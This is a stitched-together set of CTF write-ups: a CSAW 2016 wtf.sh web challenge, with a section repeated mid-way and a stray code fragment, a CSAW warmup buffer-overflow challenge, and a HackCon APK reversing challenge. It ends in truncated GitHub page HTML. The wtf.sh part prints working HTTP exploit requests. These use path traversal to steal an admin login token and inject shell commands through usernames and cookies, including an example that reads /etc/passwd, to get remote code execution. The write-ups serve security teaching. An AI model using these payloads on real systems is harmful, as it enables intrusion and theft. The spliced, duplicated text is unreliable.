With these two vulnerabilities we were able to read all the site's code and explore the directory structure. The user data resides in the `users` directory, where a user file included a user's name, password hash and login token. Using the first directory traversal we were able to get the login token for the admin user:
```GET /post.wtf?post=../users/ HTTP/1.1Host: web.chal.csaw.io:8001Cookie: USERNAME=test; TOKEN=HqZLY8GTURdESfMQn2+vDPRL4hpafUVU+ZeEhMGllZmEoD+AVa4Ucc9bIg9ht0r0gTzoDA927dK9OgLVxfHoYw==
HTTP/1.1 200 OK[...]<span>Posted by admin</span><span>3f0b1ebe20e3682b1a5d701590ad76fb051d3a08</span><span>ecX+3sJzU16hZeUPdfVy+h8kDJXsvR4DOd1QrliIBLRmgYs7sFqJvL/zRmUyhul5GtlLRbTHI/SWHMyNTcWPSw==</span>[...]```
In the code we saw that the `get_flag1` command will be called whenever the admin user accesses his profile on `profile.wtf`:
```bash$ if contains 'user' ${!URL_PARAMS[@]} && file_exists "users/${URL_PARAMS['user']}"$ then$ local username=$(head -n 1 users/${URL_PARAMS['user']});$ echo "<h3>${username}'s posts:</h3>";$ echo "";$ get_users_posts "${username}" | while read -r post; do$ post_slug=$(awk -F/ '{print $2 "#" $3}' <<< "${post}");$ echo "$(nth_line 2 "${post}" | htmlentities)";$ done$ echo "";$ if is_logged_in && [[ "${COOKIES['USERNAME']}" = 'admin' ]] && [[ ${username} = 'admin' ]]$ then$ get_flag1$ fi$ fi```
We also see in the code (`user_functions.sh`) that whenever a user registers a directory in users_lookup will be created with the SHA1 of the username as directoroy name. In order to get the proper user ID for the admin user to access the admin profile we can just read the userid file:
```GET /profile.wtf?user=../users_lookup/4015bc9ee91e437d90df83fb64fbbe312d9c9f05/userid HTTP/1.1Host: web.chal.csaw.io:8001Cookie: USERNAME=test; TOKEN=HqZLY8GTURdESfMQn2+vDPRL4hpafUVU+ZeEhMGllZmEoD+AVa4Ucc9bIg9ht0r0gTzoDA927dK9OgLVxfHoYw==
HTTP/1.1 200 OK[...]<h3>QNI5P's posts:</h3>[...]```
Now we can get the flag:
```GET /profile.wtf?user=QNI5P HTTP/1.1Host: web.chal.csaw.io:8001Cookie: USERNAME=admin; TOKEN=ecX+3sJzU16hZeUPdfVy+h8kDJXsvR4DOd1QrliIBLRmgYs7sFqJvL/zRmUyhul5GtlLRbTHI/SWHMyNTcWPSw==
HTTP/1.1 200 OK[...]Flag: flag{l00k_at_m3_I_am_th3_4dm1n_n0w}[...]```
## wtf.sh (2) (400pts)
The second part of the challenge was a little bit more complicated. We had to call `get_flag2`, but the code we dumped did not include any reference. So we had to dig deeper into the code to get remote code exection.
We saw in the code that `wtf.sh` includes a function that parses and executes .wtf files:
```bashmax_page_include_depth=64page_include_depth=0function include_page { # include_page <pathname> local pathname=$1 local cmd="" [[ "${pathname:(-4)}" = '.wtf' ]]; local can_execute=$?; page_include_depth=$(($page_include_depth+1)) if [[ $page_include_depth -lt $max_page_include_depth ]] then local line; while read -r line; do # check if we're in a script line or not ($ at the beginning implies script line) # also, our extension needs to be .wtf [[ "$" = "${line:0:1}" && ${can_execute} = 0 ]]; is_script=$?;
# execute the line. if [[ $is_script = 0 ]] then cmd+=$'\n'"${line#"$"}"; else if [[ -n $cmd ]] then eval "$cmd" || log "Error during execution of ${cmd}"; cmd="" fi echo $line fi done < ${pathname} else echo "Max include depth exceeded!" fi}```
So what we had to do is upload a file containing shell code starting with a "$" and the filename needed to have the .wtf extension. An interesting function we found in the `post_functions.sh` file was `reply`:
```bashfunction reply { local post_id=$1; local username=$2; local text=$3; local hashed=$(hash_username "${username}");
curr_id=$(for d in posts/${post_id}/*; do basename $d; done | sort -n | tail -n 1); next_reply_id=$(awk '{print $1+1}' <<< "${curr_id}"); next_file=(posts/${post_id}/${next_reply_id}); echo "${username}" > "${next_file}"; echo "RE: $(nth_line 2 < "posts/${post_id}/1")" >> "${next_file}"; echo "${text}" >> "${next_file}";
# add post this is in reply to to posts cache echo "${post_id}/${next_reply_id}" >> "users_lookup/${hashed}/posts";}```
When replying to a post we submitted the post ID via the `post` GET parameter. This parameter was also vulnerable to path traversals, which allowed us to define a filename to write to. The function also wrote the username on the first line of the file. So if we just registered a username that contains a valid shell command and write it to a file ending with .wtf into a directory where we could access the file would give us code execution. Fourtunately, the users_lookup file did not include a `.noread` file so we could just write a .wtf file to users_lookup.
The applicaiton allowed to register users containing special chars like "$", but was buggy with usernames containing whitespaces. However, because bash allows to execute commands without whitespaces (e.g. {cat,/etc/passwd}), this was not a problem. So we've registered the user `${find,/,-iname,get_flag2}` and created a reply with the following request:
```POST /reply.wtf?post=../users_lookup/sh.wtf%09 HTTP/1.1Host: web.chal.csaw.io:8001Content-Type: application/x-www-form-urlencodedCookie: USERNAME=${find,/,-iname,get_flag2}; TOKEN=Uf7xrOWHXoRzLdVS6drbhjHyIZVsCXFgQYnOG01UhENS1aaajeezaWrgpOno8HBljrHOMmfbQUY+rES1bWlNWQ==
text=asd&submit=```
Note that the filename is prepended with `%09` which is a horizontal tab. This is required because the reply function would interpret the name as directory name and the command would fail.
When we now call the file we get the following response:
```GET /users_lookup/sh.wtf HTTP/1.1Host: web.chal.csaw.io:8001Cookie: USERNAME=${find,/,-iname,get_flag2}; TOKEN=Uf7xrOWHXoRzLdVS6drbhjHyIZVsCXFgQYnOG01UhENS1aaajeezaWrgpOno8HBljrHOMmfbQUY+rES1bWlNWQ==
HTTP/1.1 200 OK[...]/usr/bin/get_flag2RE:asd```
So the `get_flag2` is a binary that resides in `/usr/bin/`. We now just need to create the user `$/usr/bin/get_flag2` and send the reply request again:
```POST /reply.wtf?post=../users_lookup/sh.wtf%09 HTTP/1.1Host: web.chal.csaw.io:8001Content-Length: 16Content-Type: application/x-www-form-urlencodedCookie: USERNAME=$/usr/bin/get_flag2; TOKEN=neappNHO7cRKNouqa1+xBYq8AWNTE2PqLcxh0JPFkaaNF5UOXc/C2fOL+JkQP65OZxc9BUkRnt1h8Z98bFbHZA==
text=asd&submit=
--
GET /users_lookup/sh.wtf HTTP/1.1Host: web.chal.csaw.io:8001
HTTP/1.1 200 OK[...]Flag: flag{n0b0dy_exp3c75_th3_p4r3nth3s1s_1nqu1s1t10n}ÿÿÿRE:asd```
Max include depth exceeded!
" fi}```
So what we had to do is upload a file containing shell code starting with a "$" and the filename needed to have the .wtf extension. An interesting function we found in the `post_functions.sh` file was `reply`:
```bashfunction reply { local post_id=$1; local username=$2; local text=$3; local hashed=$(hash_username "${username}");
curr_id=$(for d in posts/${post_id}/*; do basename $d; done | sort -n | tail -n 1); next_reply_id=$(awk '{print $1+1}' <<< "${curr_id}"); next_file=(posts/${post_id}/${next_reply_id}); echo "${username}" > "${next_file}"; echo "RE: $(nth_line 2 < "posts/${post_id}/1")" >> "${next_file}"; echo "${text}" >> "${next_file}";
# add post this is in reply to to posts cache echo "${post_id}/${next_reply_id}" >> "users_lookup/${hashed}/posts";}```
When replying to a post we submitted the post ID via the `post` GET parameter. This parameter was also vulnerable to path traversals, which allowed us to define a filename to write to. The function also wrote the username on the first line of the file. So if we just registered a username that contains a valid shell command and write it to a file ending with .wtf into a directory where we could access the file would give us code execution. Fourtunately, the users_lookup file did not include a `.noread` file so we could just write a .wtf file to users_lookup.
The applicaiton allowed to register users containing special chars like "$", but was buggy with usernames containing whitespaces. However, because bash allows to execute commands without whitespaces (e.g. {cat,/etc/passwd}), this was not a problem. So we've registered the user `${find,/,-iname,get_flag2}` and created a reply with the following request:
```POST /reply.wtf?post=../users_lookup/sh.wtf%09 HTTP/1.1Host: web.chal.csaw.io:8001Content-Type: application/x-www-form-urlencodedCookie: USERNAME=${find,/,-iname,get_flag2}; TOKEN=Uf7xrOWHXoRzLdVS6drbhjHyIZVsCXFgQYnOG01UhENS1aaajeezaWrgpOno8HBljrHOMmfbQUY+rES1bWlNWQ==
text=asd&submit=```
Note that the filename is prepended with `%09` which is a horizontal tab. This is required because the reply function would interpret the name as directory name and the command would fail.
When we now call the file we get the following response:
```GET /users_lookup/sh.wtf HTTP/1.1Host: web.chal.csaw.io:8001Cookie: USERNAME=${find,/,-iname,get_flag2}; TOKEN=Uf7xrOWHXoRzLdVS6drbhjHyIZVsCXFgQYnOG01UhENS1aaajeezaWrgpOno8HBljrHOMmfbQUY+rES1bWlNWQ==
HTTP/1.1 200 OK[...]/usr/bin/get_flag2RE:asd```
So the `get_flag2` is a binary that resides in `/usr/bin/`. We now just need to create the user `$/usr/bin/get_flag2` and send the reply request again:
```POST /reply.wtf?post=../users_lookup/sh.wtf%09 HTTP/1.1Host: web.chal.csaw.io:8001Content-Length: 16Content-Type: application/x-www-form-urlencodedCookie: USERNAME=$/usr/bin/get_flag2; TOKEN=neappNHO7cRKNouqa1+xBYq8AWNTE2PqLcxh0JPFkaaNF5UOXc/C2fOL+JkQP65OZxc9BUkRnt1h8Z98bFbHZA==
text=asd&submit=
--
GET /users_lookup/sh.wtf HTTP/1.1Host: web.chal.csaw.io:8001
HTTP/1.1 200 OK[...]Flag: flag{n0b0dy_exp3c75_th3_p4r3nth3s1s_1nqu1s1t10n}ÿÿÿRE:asd``` |
# CSAW CTF 2016 warmup Writeup
coinslot was a pwn challenge for 50pts and the description of the challenge was
```So you want to be a pwn-er huh? Well let's throw you an easy one ;)
nc pwn.chal.csaw.io 8000```
Connecting to the server revealed the following:
```$ nc pwn.chal.csaw.io 8000-Warm Up-WOW:0x40060d>```
At the end you can input some string. The binary that created this output was also provided. By reversing main function of the binary, we can see that the input is taken via a 'gets'.
```int __cdecl main(int argc, const char **argv, const char **envp){ char s; char v5;
write(1, "-Warm Up-\n", 0xAuLL); write(1, "WOW:", 4uLL); sprintf(&s, "%p\n", easy); write(1, &s, 9uLL); write(1, ">", 1uLL); return gets(&v5, ">");}```
Moreover, there is an 'easy' function within the binary:
```int easy(){ return system("cat flag.txt");}```
The address of this function is conveniently printed within the main function
```sprintf(&s, "%p\n", easy); ```
and corresponds to the address 0x40060d.
By exploiting the gets-function, we can overwrite return addresses on the stack and gain control of $rip. Then we just jump to the easy-function and we are done. The exploit code is given in the warmup.py |
#HackCon 2016##You Can't See Me
###DescriptionYour time is up, my time is now
You can't see me, my time is now
It's the franchise, boy I'm shinin' now
You can't see me, my time is now!
https://s3-us-west-2.amazonaws.com/hackcon/JohnCena.apk
Flag Format: lower alpha string with no spaces
Operating System: ?
Reported Difficulty: Easy
###Running the apkBy installing the apk in Genymotion, I was presented with a blank activity so nothing to do here.
###Decompiling the apkDex2jar allows us to obtain the jar file
d2j-dex2jar.sh JohnCena.apk
Now to extract the code, I used jd-gui (Java Decompiler)
The code for MainActivity is```javapackage com.mayank13059.theoracle;
import android.os.Bundle;import android.support.v7.app.AppCompatActivity;import android.support.v7.widget.Toolbar;import android.view.Menu;import android.view.MenuInflater;import android.view.MenuItem;import android.widget.TextView;
public class MainActivity extends AppCompatActivity{ private String genLoginForm1() { Integer localInteger = Integer.valueOf(656); return Integer.valueOf(686964656).toString() + "c" + Integer.valueOf(696).toString() + "b" + Integer.valueOf(656163).toString() + Integer.valueOf(68616).toString() + "d" + localInteger.toString() + "c" + localInteger.toString() + "f6e"; } private String genLoginForm2() { Integer localInteger = Integer.valueOf(696); return Integer.valueOf(6265).toString() + Integer.valueOf(66696).toString() + Integer.valueOf(57263656).toString() + "c" + localInteger.toString() + "b" + Integer.valueOf(65616).toString() + "c" + localInteger.toString() + "f6e"; } protected void onCreate(Bundle paramBundle) { super.onCreate(paramBundle); setContentView(2130968601); paramBundle = (TextView)findViewById(2131492970); TextView localTextView = (TextView)findViewById(2131492971); paramBundle.setText(genLoginForm1()); localTextView.setText(genLoginForm2()); setSupportActionBar((Toolbar)findViewById(2131492969)); } public boolean onCreateOptionsMenu(Menu paramMenu) { getMenuInflater().inflate(2131558400, paramMenu); return true; } public boolean onOptionsItemSelected(MenuItem paramMenuItem) { if (paramMenuItem.getItemId() == 2131492994) { return true; } return super.onOptionsItemSelected(paramMenuItem); }}```
So there are 2 TextViews populated by genLoginForm1() and genLoginForm2() that for some reason I can't see when I run the apk but we can write a small java program to see the output generated by these functions.
###Payload
```javapublic class Payload {
public static void main(String[] args) { Integer localInteger = Integer.valueOf(656); System.out.println(Integer.valueOf(686964656).toString() + "c" + Integer.valueOf(696).toString() + "b" + Integer.valueOf(656163).toString() + Integer.valueOf(68616).toString() + "d" + localInteger.toString() + "c" + localInteger.toString() + "f6e");
localInteger = Integer.valueOf(696); System.out.println(Integer.valueOf(6265).toString() + Integer.valueOf(66696).toString() + Integer.valueOf(57263656).toString() + "c" + localInteger.toString() + "b" + Integer.valueOf(65616).toString() + "c" + localInteger.toString() + "f6e");}}
```
When we run the program, we get the lines:```686964656c696b65616368616d656c656f6e62656669657263656c696b65616c696f6e```
This is encoded in hex, so by using the python interpreter we can convert it to ascii:```python>>> "686964656c696b65616368616d656c656f6e".decode("hex")'hidelikeachameleon'>>> "62656669657263656c696b65616c696f6e".decode("hex")'befiercelikealion'```
So our flag is: hidelikeachameleonbefiercelikealion
|
<html lang="en" data-color-mode="auto" data-light-theme="light" data-dark-theme="dark" data-a11y-animated-images="system"> <head> <meta charset="utf-8"> <link rel="dns-prefetch" href="https://github.githubassets.com"> <link rel="dns-prefetch" href="https://avatars.githubusercontent.com"> <link rel="dns-prefetch" href="https://github-cloud.s3.amazonaws.com"> <link rel="dns-prefetch" href="https://user-images.githubusercontent.com/"> <link rel="preconnect" href="https://github.githubassets.com" crossorigin> <link rel="preconnect" href="https://avatars.githubusercontent.com">
<link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/light-fe3f886b577a.css" /><link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/dark-a1dbeda2886c.css" /><link data-color-theme="dark_dimmed" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_dimmed-1ad5cf51dfeb.css" /><link data-color-theme="dark_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_high_contrast-11d3505dc06a.css" /><link data-color-theme="dark_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_colorblind-8b800495504f.css" /><link data-color-theme="light_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_colorblind-daa38c88b795.css" /><link data-color-theme="light_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_high_contrast-1b9ea565820a.css" /><link data-color-theme="light_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_tritanopia-e4be9332dd6c.css" /><link data-color-theme="dark_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_tritanopia-0dcf95848dd5.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/primer-c581c4e461bb.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/global-0e278d45156f.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/github-dcaf0f44dbb1.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/code-26709f54a08d.css" />
<script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/wp-runtime-774bfe5ae983.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_stacktrace-parser_dist_stack-trace-parser_esm_js-node_modules_github_bro-327bbf-0aaeb22dd2a5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/ui_packages_soft-nav_soft-nav_ts-21fc7a4a0e8f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/environment-e059fd03252f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_selector-observer_dist_index_esm_js-2646a2c533e3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_details-dialog-elemen-63debe-c04540d458d4.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_relative-time-element_dist_index_js-b9368a9cb79e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_fzy_js_index_js-node_modules_github_markdown-toolbar-element_dist_index_js-e3de700a4c9d.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_auto-complete-element_dist_index_js-node_modules_github_catalyst_-6afc16-e779583c369f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_text-ex-3415a8-7ecc10fb88d0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_remote-inp-79182d-befd2b2f5880.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_view-components_app_components_primer_primer_js-node_modules_gith-6a1af4-df3bc95b06d3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/github-elements-fc0e0b89822a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/element-registry-1641411db24a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_lit-html_lit-html_js-9d9fe1859ce5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_manuelpuyol_turbo_dist_turbo_es2017-esm_js-4140d67f0cc2.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_github_alive-client_dist-bf5aa2-424aa982deef.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_behaviors_dist_esm_dimensions_js-node_modules_github_hotkey_dist_-9fc4f4-d434ddaf3207.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_color-convert_index_js-35b3ae68c408.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_github_session-resume_dist-def857-2a32d97c93c5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_paste-markdown_dist_index_esm_js-node_modules_github_quote-select-15ddcc-1512e06cfee0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_updatable-content_ts-430cacb5f7df.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_keyboard-shortcuts-helper_ts-app_assets_modules_github_be-f5afdb-8dd5f026c5b9.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_sticky-scroll-into-view_ts-0af96d15a250.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_include-fragment_ts-app_assets_modules_github_behaviors_r-4077b4-75370d1c1705.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_commenting_edit_ts-app_assets_modules_github_behaviors_ht-83c235-7883159efa9e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/behaviors-742151da9690.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-06ff531-32d7d1e94817.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/notifications-global-f5b58d24780b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_morphdom_dist_morphdom-esm_js-node_modules_github_template-parts_lib_index_js-58417dae193c.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_virtualized-list_es_index_js-node_modules_github_memoize_dist_esm_index_js-8496b7c4b809.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-70450e-0370b887db62.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_ref-selector_ts-7bdefeb88a1a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/codespaces-d1ede1f1114e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_mini-throt-a33094-b03defd3289b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_mini-th-85225b-226fc85f9b72.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/repositories-8093725f8825.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/topic-suggestions-7a1f0da7430a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/code-menu-89d93a449480.js"></script>
<title>ctfx-problems-2016/forensics/pgp-200 at master · ctf-x/ctfx-problems-2016 · GitHub</title>
<meta name="route-pattern" content="/:user_id/:repository/tree/*name(/*path)">
<meta name="current-catalog-service-hash" content="343cff545437bc2b0304c97517abf17bb80d9887520078e9757df416551ef5d6">
<meta name="request-id" content="B130:F966:175E8B6:17FC73A:6412291E" data-pjax-transient="true"/><meta name="html-safe-nonce" content="f889d6e4f904c2dfa51ae5532321264b6ef91e8addba2f10ea31ad1adea79c97" data-pjax-transient="true"/><meta name="visitor-payload" content="eyJyZWZlcnJlciI6IiIsInJlcXVlc3RfaWQiOiJCMTMwOkY5NjY6MTc1RThCNjoxN0ZDNzNBOjY0MTIyOTFFIiwidmlzaXRvcl9pZCI6IjUzNDQ1ODUxNzk0MzU1MTAwNDYiLCJyZWdpb25fZWRnZSI6ImZyYSIsInJlZ2lvbl9yZW5kZXIiOiJmcmEifQ==" data-pjax-transient="true"/><meta name="visitor-hmac" content="e4bd83a84ed9ee5405b6467b331905b59fd689492f537c89f4e3f548429b5624" data-pjax-transient="true"/>
<meta name="hovercard-subject-tag" content="repository:62685294" data-turbo-transient>
<meta name="github-keyboard-shortcuts" content="repository,source-code,file-tree" data-turbo-transient="true" />
<meta name="selected-link" value="repo_source" data-turbo-transient>
<meta name="google-site-verification" content="c1kuD-K2HIVF635lypcsWPoD4kilo5-jA_wBFyT4uMY"> <meta name="google-site-verification" content="KT5gs8h0wvaagLKAVWq8bbeNwnZZK1r1XQysX3xurLU"> <meta name="google-site-verification" content="ZzhVyEFwb7w3e0-uOTltm8Jsck2F5StVihD0exw2fsA"> <meta name="google-site-verification" content="GXs5KoUUkNCoaAZn7wPN-t01Pywp9M3sEjnt_3_ZWPc"> <meta name="google-site-verification" content="Apib7-x98H0j5cPqHWwSMm6dNU4GmODRoqxLiDzdx9I">
<meta name="octolytics-url" content="https://collector.github.com/github/collect" />
<meta name="analytics-location" content="/<user-name>/<repo-name>/files/disambiguate" data-turbo-transient="true" />
<meta name="user-login" content="">
<meta name="viewport" content="width=device-width"> <meta name="description" content="CTF(x) 2016 problem statements, files, and writeups - ctfx-problems-2016/forensics/pgp-200 at master · ctf-x/ctfx-problems-2016"> <link rel="search" type="application/opensearchdescription+xml" href="/opensearch.xml" title="GitHub"> <link rel="fluid-icon" href="https://github.com/fluidicon.png" title="GitHub"> <meta property="fb:app_id" content="1401488693436528"> <meta name="apple-itunes-app" content="app-id=1477376905" /> <meta name="twitter:image:src" content="https://opengraph.githubassets.com/47b9c8b60ed45d2e40790f44e63a7c70ee2004c584fef75b5aca2d65e1e35687/ctf-x/ctfx-problems-2016" /><meta name="twitter:site" content="@github" /><meta name="twitter:card" content="summary_large_image" /><meta name="twitter:title" content="ctfx-problems-2016/forensics/pgp-200 at master · ctf-x/ctfx-problems-2016" /><meta name="twitter:description" content="CTF(x) 2016 problem statements, files, and writeups - ctfx-problems-2016/forensics/pgp-200 at master · ctf-x/ctfx-problems-2016" /> <meta property="og:image" content="https://opengraph.githubassets.com/47b9c8b60ed45d2e40790f44e63a7c70ee2004c584fef75b5aca2d65e1e35687/ctf-x/ctfx-problems-2016" /><meta property="og:image:alt" content="CTF(x) 2016 problem statements, files, and writeups - ctfx-problems-2016/forensics/pgp-200 at master · ctf-x/ctfx-problems-2016" /><meta property="og:image:width" content="1200" /><meta property="og:image:height" content="600" /><meta property="og:site_name" content="GitHub" /><meta property="og:type" content="object" /><meta property="og:title" content="ctfx-problems-2016/forensics/pgp-200 at master · ctf-x/ctfx-problems-2016" /><meta property="og:url" content="https://github.com/ctf-x/ctfx-problems-2016" /><meta property="og:description" content="CTF(x) 2016 problem statements, files, and writeups - ctfx-problems-2016/forensics/pgp-200 at master · ctf-x/ctfx-problems-2016" /> <link rel="assets" href="https://github.githubassets.com/">
<meta name="hostname" content="github.com">
<meta name="expected-hostname" content="github.com">
<meta name="enabled-features" content="TURBO_EXPERIMENT_RISKY,IMAGE_METRIC_TRACKING,GEOJSON_AZURE_MAPS">
<meta http-equiv="x-pjax-version" content="ef97471de14f8d2285f0269e8f0f7dc70845f693d3f6ccd2dd2daae5cd1bbebe" data-turbo-track="reload"> <meta http-equiv="x-pjax-csp-version" content="2a84822a832da97f1ea76cf989a357ec70c85713a2fd8f14c8421b76bbffe38c" data-turbo-track="reload"> <meta http-equiv="x-pjax-css-version" content="adfc12179419e463f9f320d07920b1684c9b7e060d4d9cd3a6cd5d0de37ce710" data-turbo-track="reload"> <meta http-equiv="x-pjax-js-version" content="711646ae23abb27cf728346f30f81c042d4428233a0795acf0e21ed664fe9d94" data-turbo-track="reload">
<meta name="turbo-cache-control" content="no-preview" data-turbo-transient="">
<meta data-hydrostats="publish">
<meta name="go-import" content="github.com/ctf-x/ctfx-problems-2016 git https://github.com/ctf-x/ctfx-problems-2016.git">
<meta name="octolytics-dimension-user_id" content="20324072" /><meta name="octolytics-dimension-user_login" content="ctf-x" /><meta name="octolytics-dimension-repository_id" content="62685294" /><meta name="octolytics-dimension-repository_nwo" content="ctf-x/ctfx-problems-2016" /><meta name="octolytics-dimension-repository_public" content="true" /><meta name="octolytics-dimension-repository_is_fork" content="false" /><meta name="octolytics-dimension-repository_network_root_id" content="62685294" /><meta name="octolytics-dimension-repository_network_root_nwo" content="ctf-x/ctfx-problems-2016" />
<link rel="canonical" href="https://github.com/ctf-x/ctfx-problems-2016/tree/master/forensics/pgp-200" data-turbo-transient> <meta name="turbo-body-classes" content="logged-out env-production page-responsive">
<meta name="browser-stats-url" content="https://api.github.com/_private/browser/stats">
<meta name="browser-errors-url" content="https://api.github.com/_private/browser/errors">
<meta name="browser-optimizely-client-errors-url" content="https://api.github.com/_private/browser/optimizely_client/errors">
<link rel="mask-icon" href="https://github.githubassets.com/pinned-octocat.svg" color="#000000"> <link rel="alternate icon" class="js-site-favicon" type="image/png" href="https://github.githubassets.com/favicons/favicon.png"> <link rel="icon" class="js-site-favicon" type="image/svg+xml" href="https://github.githubassets.com/favicons/favicon.svg">
<meta name="theme-color" content="#1e2327"><meta name="color-scheme" content="light dark" />
<link rel="manifest" href="/manifest.json" crossOrigin="use-credentials">
</head>
<body class="logged-out env-production page-responsive" style="word-wrap: break-word;"> <div data-turbo-body class="logged-out env-production page-responsive" style="word-wrap: break-word;">
<div class="position-relative js-header-wrapper "> Skip to content <span> <span></span></span>
<script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-94fd67-04fa93bb158a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/sessions-9920eaa99f50.js"></script><header class="Header-old header-logged-out js-details-container Details position-relative f4 py-3" role="banner"> <button type="button" class="Header-backdrop d-lg-none border-0 position-fixed top-0 left-0 width-full height-full js-details-target" aria-label="Toggle navigation"> <span>Toggle navigation</span> </button>
